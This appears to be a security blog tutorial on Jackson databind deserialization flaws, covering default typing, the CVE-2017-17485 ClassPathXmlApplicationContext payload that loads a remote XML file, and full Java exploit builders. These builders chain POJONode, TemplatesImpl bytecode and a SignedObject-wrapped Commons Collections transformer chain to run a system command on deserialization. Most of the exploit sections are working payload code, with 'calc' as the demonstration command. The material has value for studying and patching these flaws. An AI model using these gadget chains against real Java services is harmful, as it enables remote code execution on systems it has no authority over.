Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Understanding Jackson Deserialization Vulnerabilities

Tech May 15 1

Core Dependencies

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.7.9</version>
</dependency>
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.7.9</version>
</dependency>
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-annotations</artifactId>
    <version>2.7.9</version>
</dependency>

Basic Data Model

public class Account {
    private String identifier;
    private String secret;
    private Object data;
    
    public Account() {}

    public Account(String identifier, String secret, Object data) {
        this.identifier = identifier;
        this.secret = secret;
        this.data = data;
    }

    // Getters and setters
    public String getIdentifier() { return identifier; }
    public String getSecret() { return secret; }
    public Object getData() { return data; }
    public void setIdentifier(String identifier) { this.identifier = identifier; }
    public void setSecret(String secret) { this.secret = secret; }
    public void setData(Object data) { this.data = data; }
}

Standard Serialization/Deserialization

public class SerializationDemo {
    public static void main(String[] args) throws Exception {
        Account account = new Account("john_doe", "secret123", new Profile());
        ObjectMapper processor = new ObjectMapper();
        
        String jsonOutput = processor.writeValueAsString(account);
        System.out.println(jsonOutput);
        
        Account reconstructed = processor.readValue(jsonOutput, Account.class);
        System.out.println(reconstructed);
    }
}

The ObjectMapper class from com.fasterxml.jackson.databind handles JSON processing. By default, it only deserializes basic types and explicitly specified classes.

Polymorphic Handling Solutions

Two approaches exist for managing polymorphism:

  1. Configuration via DefaultTyping settings
  2. Annotation-based approach using @JsonTypeInfo

Vulnerability Analysis Setup

public class ProfileData {
    public String displayName = "DefaultUser";
}
public class VulnerabilityTest {
    public static void main(String[] args) throws IOException {
        Account account = new Account("admin", "password123", new ProfileData());
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        
        String serialized = mapper.writeValueAsString(account);
        System.out.println(serialized);
        
        Account result = mapper.readValue(serialized, Account.class);
        System.out.println(result);
    }
}

Processing Flow Analysis

Execution begins in _readMapAndClose, where deserializers are obtained and processing initiated. The vanillaDeserialize method iterates through JSON fields, delegating unknown fields to handleUnknownVanilla().

Instance creation occurs via newInstance(), followed by value extraction through deserialize(). The key difference between standard fields like identifier and polymorphic data fields lies in _valueTypeDeserializer handling.

For polymorphic fields, findPropertyTypeDeserializer assigns appropriate deserializers. Arrays containing type information trigger recursive _deserialize calls:

"data":["com.example.ProfileData"]

Type resolution follows this call chain:

findClass:251, TypeFactory (com.fasterxml.jackson.databind.type)
_typeFromId:68, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)
typeFromId:51, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)

After deserialization, values are assigned through corresponding setter methods (setIdentifier vs setData).

Vulnerable Conditions

Three scenarios create deserialization vulnerabilities:

  1. ObjectMapper.enableDefaultTyping() activation
  2. Properties annotated with @JsonTypeInfo(Id.CLASS)
  3. Properties annotated with @JsonTypeInfo(Id.MINIMAL_CLASS)

Non-Object Property Exploitation

When target class constructors or setters contain vulnerable code, exploitation is possible regardless of property type.

Object Property Exploitation

Identify classes present in the target environment with vulnerable constructors or setters for successful attacks.

CVE-2017-17485: ClassPathXmlApplicationContext Chain

Affected versions:

  • Jackson 2.7.x < 2.7.9.2
  • Jackson 2.8.x < 2.8.11
  • Jackson 2.9.x < 2.9.4

Required Dependencies

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>5.0.2.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.0.2.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>5.0.2.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>5.0.2.RELEASE</version>
</dependency>

Proof of Concept

["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8888/exploit.xml"]

The constructor triggers XML parsing and potential remote code execution.

Native Deserialization Chains

POJONode Exploitation Chain

Starting from POJONode.toString(), the absence of this method causes inheritance traversal to parent classes. This leads to arbitrary getter method invocation through reflection, enabling connection to Templates chain getOutputProperties().

Call stack progression:

serializeAsField:688, BeanPropertyWriter
serializeFields:774, BeanSerializerBase
serialize:178, BeanSerializer
...
toString:136, BaseJsonNode

Connecting to BadAttributeValueExpException completes the chain. However, serialization issues arise due to BaseJsonNode.writeReplace() override.

Java Serialization Callback: writeReplace() takes precedence during ObjectOutputStream serialization, returning its result as the actual serialized object.

Resolution involves temporarily removing this method using javassist:

public class PayloadConstruction {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass exploitClass = pool.makeClass("Exploit");
        exploitClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String payload = "Runtime.getRuntime().exec(\"calc\");";
        exploitClass.makeClassInitializer().insertBefore(payload);
        byte[] bytecode = exploitClass.toBytecode();
        
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(template, "_name", "Malicious");

        CtClass baseNodeClass = pool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        baseNodeClass.removeMethod(baseNodeClass.getDeclaredMethod("writeReplace"));
        baseNodeClass.toClass();
        
        POJONode node = new POJONode(template);
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        setFieldValue(exception, "val", node);

        new ObjectOutputStream(new FileOutputStream("exploit.ser")).writeObject(exception);
        new ObjectInputStream(new FileInputStream("exploit.ser")).readObject();
    }
}

SignedObject Secondary Deserialization

Building upon POJONode, wrapping with SignedObject enables secondary deserialization through getObject().

public class SignedObjectPayload {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass baseNodeClass = pool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        baseNodeClass.removeMethod(baseNodeClass.getDeclaredMethod("writeReplace"));
        baseNodeClass.toClass();

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        
        ChainedTransformer chain = new ChainedTransformer(transformers);
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chain);
        TiedMapEntry entry = new TiedMapEntry(new HashMap(), new String());
        
        HashMap<Object, Object> map = new HashMap();
        map.put(entry, "placeholder");
        
        Field mapField = TiedMapEntry.class.getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(entry, lazyMap);

        KeyPairGenerator generator = KeyPairGenerator.getInstance("DSA");
        generator.initialize(1024);
        KeyPair pair = generator.generateKeyPair();
        
        SignedObject signedObj = new SignedObject(map, pair.getPrivate(), Signature.getInstance("DSA"));
        POJONode node = new POJONode(signedObj);
        
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, node);

        new ObjectOutputStream(new FileOutputStream("signed.ser")).writeObject(exception);
        new ObjectInputStream(new FileInputStream("signed.ser")).readObject();
    }
}

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

SBUS Signal Analysis and Communication Implementation Using STM32 with Fus Remote Controller

Overview In a recent project, I utilized the SBUS protocol with the Fus remote controller to control a vehicle's basic operations, including movement, lights, and mode switching. This article is aimed...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.